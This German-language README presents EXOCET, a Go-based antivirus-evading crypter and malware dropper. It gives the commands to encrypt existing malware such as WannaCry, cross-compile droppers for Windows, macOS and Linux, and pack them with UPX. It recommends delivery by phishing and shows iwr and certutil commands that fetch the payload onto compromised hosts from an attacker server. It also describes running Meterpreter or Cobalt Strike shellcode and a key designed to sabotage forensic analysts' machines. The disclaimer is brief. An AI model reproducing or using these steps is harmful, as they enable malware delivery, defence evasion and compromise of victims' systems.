
EXOCET - AV-umgehendes, nicht erkennbares Payload-Auslieferungswerkzeug
Chang Tan
AWS Certified Cloud Practitioner und Solutions Architect Associate
[email protected]
Stellen Sie sicher, dass Sie Ihre Payloads packen, um Lecks des Crypters-Schlüssels zu vermeiden und Malware-Analysten weiter zu frustrieren. Ein kommerzieller High-End-Packer wie Themida ist NICHT erforderlich. Es würde ohne ein Code-Signing-Zertifikat noch mehr Verdacht erregen. Ohne Code-Signing-Zertifikat wird auf Windows-Systemen automatisch SmartScreen ausgelöst. Dies gilt für alle potenziell unerwünschten Programme oder „PUPs“, d. h. alle Malware-Payloads, Beacons, Geacons, Remote-Access-Trojaner usw. erfordern ein Code-Signing-Zertifikat. Ihr Geld ist besser für den Kauf eines Code-Signing-Zertifikats ausgegeben als für einen High-End-Packer.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
Dann liefern Sie den Payload auf Ihr Ziel aus. Verwenden Sie dazu etwas wie eine Phishing-E-Mail, einen Link, oder wenn Sie bereits Shell-Zugriff haben, liefern Sie ihn aus, indem Sie z. B. Ihren eigenen Server lokal hosten
python -m http.server 80'
und führen Sie dann auf dem kompromittierten Rechner an einer PowerShell-Eingabeaufforderung aus:
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
oder
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
und führen Sie dann mit outputmalware.exe aus
EXOCET ist den Modulen „Evasive Payloads“ von Metasploit überlegen, da EXOCET AES-256 im GCM-Modus (Galois/Counter Mode) verwendet. Metasploits Evasion Payloads verwendet eine leicht erkennbare RC4-Verschlüsselung. Während RC4 schneller entschlüsseln kann, ist es bei AES-256 wesentlich schwieriger, die Absicht der Malware zu ermitteln.

Es ist jedoch möglich, Metasploit zu verwenden, um einen Evasive Payload zu erstellen und diesen dann mit EXOCET zu verketten. EXOCET entschlüsselt dann mit AES-256, und der Metasploit Evasive Payload entschlüsselt sich selbst von RC4.
Ähnlich wie mein vorheriges Projekt DarkLordObama ist dieses Toolkit als Auslieferungs-/Startfahrzeug konzipiert, ähnlich wie Veil-Evasion.
EXOCET ist jedoch nicht auf eine einzelne Codebasis oder Plattformen beschränkt, die Python ausführen. EXOCET funktioniert auf ALLEN unterstützten Plattformen und Architekturen, die Go unterstützt.
EXOCET ist im Wesentlichen ein Malware-Dropper vom Crypter-Typ, der leicht erkennbare Payloads wie WannaCry recyceln, sie mit AES-GCM (Galois/Counter Mode) verschlüsseln kann, was sicherer ist als AES-CBC, und dann eine Dropper-Datei für die meisten Architekturen und Plattformen erstellt.
Grundsätzlich...
Das bedeutet 32-Bit- und 64-Bit-Architekturen, und es funktioniert unter Linux, Windows, Macs, Unix, Android, iPhone usw. Sie nehmen alles – und ich meine ALLES – wie den Morris-Wurm von 1988, der fast das Internet lahmgelegt hat (der eine Schwachstelle im fingerd-Listener-Daemon auf UNIX ausnutzte), und machen es wieder zu einer brauchbaren Cyberwaffe.
EXOCET ist vollständig in Go geschrieben.
EXOCET benötigt unabhängig von der verwendeten Binärdatei Golang zur Ausführung. Standardmäßig wird eine Crypter-.go-Datei generiert.
sudo apt-get update && sudo apt-get install -y golang ausgo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
Ein Schlüssel wird automatisch für Sie generiert. Der Schlüssel ist 64 Zeichen lang und besteht vollständig aus Bash- und cmd.exe-Shell-Pipe-Umleitungen, um Brute-Force-Versuche gegen den Schlüssel zu verwirren und zu stören, indem unvorhersehbares, zerstörerisches Verhalten auf dem Gerät des forensischen Analysten verursacht wird.
Für 64-Bit-Windows-Ziele...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
Und es entsteht eine outputmalware.exe-Datei
Für 64-Bit-MacOS-Ziele
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
Für 64-Bit-Linux-Ziele
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Siehe diese Referenz auf GitHub für Ihre Parameter für andere Betriebssysteme wie Android: Referenz für Go Cross-Kompilierung
Beachten Sie, dass der Schlüssel immer noch mit dem Befehl strings gefunden werden kann. Bitte verwenden Sie den Befehl upx-ucl, um die Binärdatei zu packen und den Schlüssel zu verbergen.
Darüber hinaus gibt es vorgefertigte Binärdateien, die ich erstellt habe, so dass Sie nur ./EXOCET oder EXOCET-Windows.exe ausführen müssen.
Ich, Chang Tan, und die Ersteller des Hauptmoduls und der Untermodule von Exocet sowie der darin enthaltenen Pakete sind NICHT verantwortlich für den Missbrauch dieses Tools. Dies ist lediglich ein Penetrationstest-Werkzeug. Es ist Ihnen strengstens untersagt, Exocet-Ausgabebinärdateien gegen unberechtigte geschützte Systeme oder unberechtigte geschützte Regierungssysteme einzusetzen.
Mir ist bewusst, dass Bedrohungsakteure der APT41 und der NSO Group Code aus diesem Tool verwendet und/oder übernommen haben, insbesondere die go-memexec-Methode. Sollte ich von Bundesermittlern bezüglich des Missbrauchs dieses Tools kontaktiert werden, übernehme ich keine Verantwortung.
Dies ist das Gleiche, was den Entwicklern von Mimikatz und PowerShell Empire widerfahren ist (die ihre eigene Entwicklung eingestellt haben, als ihnen die Nutzung durch Bedrohungsakteure bewusst wurde). Die Nachfolger haben die Entwicklung von Empire übernommen, und es gibt kostenlose Alternativen wie Covenant C2.
Am 4. Mai 1982, während des Falklandkriegs, startete eine Staffel argentinischer Super Etendards eine französische Exocet-Rakete auf die HMS Sheffield. Trotz der Versuche der Royal Navy, die Rakete zu stoppen, traf eine, die Sheffield versenkte. Dieser Vorfall brachte Argentinien buchstäblich auf die Landkarte als Machtdemonstration gegen eine globale Kolonialmacht.
Nachrichtenartikel über die Versenkung der HMS Sheffield
Ganz ähnlich, wie Onel de Guzmans Aktionen mit dem ILOVEYOU-Virus die Philippinen als Cyber-Bedrohung auf die Landkarte brachten.
.png)
Dieser Monat und der nächste Monat werden also ein arbeitsreicher Monat für mich, und es wird Verzögerungen bei der Implementierung dieser Methoden geben. Aber ich bin gespannt darauf, mit der Implementierung neuer AV-Evasion-Techniken zu beginnen, wie z. B.:
Ich bin ein sehr beschäftigter Mann, ich habe die folgenden Prioritäten und möchte um etwas Hilfe bitten, um Pull-Requests, die das Projekt unterstützen. Da ich die folgenden Dinge zu erledigen habe:
Ich brauche ein wenig Hilfe, weil ich CGO erfolgreich implementiert habe, um verschlüsselten Shellcode auszuführen, aber es wirft Speicherzugriffsverletzungen Exit-Status 0xc0000005. Es sollte nichts mit DEP (Data Execution Prevention) zu tun haben, da die Datei CGOTest/working-template-shellcode-executor.go lief.
Problem entdeckt
Wie sich herausstellt, muss VirtualAlloc von kernel32.dll und ntdll.dll aufgerufen werden, um die Speicherseite, auf der der Shellcode landet, korrekt lesbar, beschreibbar und ausführbar zu machen, mit anderen Worten, PAGE_EXECUTE_READWRITE auf ON setzen. Lesen Sie den Hinweis zum Speicherzugriffsverletzungsproblem unten.

Sobald ich das herausgefunden habe – CGO war eine Qual zu implementieren – können wir jetzt Crypters erstellen, die INLINE-ASSEMBLY ausführen. Was bis jetzt als unmöglich galt.
Beachten Sie, dass Golang und die MinGW-Toolchain unter Windows installiert sein müssen, und Sie den Shellcode unter Windows ausführen und generieren müssen. Der Grund dafür ist, dass CGO nicht wie unsere anderen EXOCET-Module cross-kompiliert werden kann. Um die Toolchain zu installieren, müssen Sie zu https://www.msys2.org/ gehen und der Anleitung folgen. Dann müssen Sie gcc zu Ihren Umgebungsvariablen in Windows hinzufügen.

Schritt 1: Shellcode generieren, dies könnte von msfvenom Meterpreter Payloads, Cobalt Strike Beacons oder Ihrem eigenen benutzerdefinierten Shellcode in C-kompatiblem Format sein

Schritt 2: Kopieren Sie nur die Bytes des Shellcodes, ohne die Anführungszeichen, in eine Textdatei wie sc.txt

Schritt 3: Ihre Shellcode-Datei sollte so aussehen. Roher Shellcode

Schritt 4: Führen Sie nun den Befehl go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY aus
Schritt 5: Sie können versuchen, es auszuführen, aber Sie werden aus irgendeinem Grund auf Speicherzugriffsverletzungsfehler stoßen, an denen ich noch arbeite
Anscheinend ist das Problem neben den großen Einschränkungen von CGO, die Cross-Kompilierung verbieten oder erheblich erschweren, dass der Shellcode, den wir ausführen möchten, in einem Speicherbereich landet (analysiert in WinDBG x64), der nicht RWX ist. Mit anderen Worten, solange wir keinen C-Code schreiben, der explizit die Ausführung des Shellcodes im Speicher erlaubt, wird es immer Zugriffsverletzungsfehler geben.
Die andere Methode, die ich bei anderen Entwicklern rudimentärer Go-Module beobachtet habe https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, ist, dass sie die Windows-API von Go verwenden, um mit ntdll.dll und kernel32.dll zu interagieren, um VirtualAlloc aufzurufen und Bereiche von RWX-Speicherseiten anzugeben. Diese Methode funktioniert besser, aber es scheint, dass der Shellcode nur im num-transformierten Format vorliegen muss, damit es funktioniert.
Ich arbeite noch daran, Leute. Ich werde möglicherweise mehrere Programmiersprachen kombinieren, um ein ordentliches Shellcode-Ausführungsmodul zu schreiben.
Leider stoße ich auf Fehler beim Erstellen einer vorkompilierten Binärdatei für MacBooks mit den neuen M1-CPUs. Es könnte ein Problem mit meiner Golang-Installation sein.
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
Wie auch immer, Sie benötigen weiterhin Golang, um die Malware für die Zielplattform zu kompilieren oder cross-kompilieren.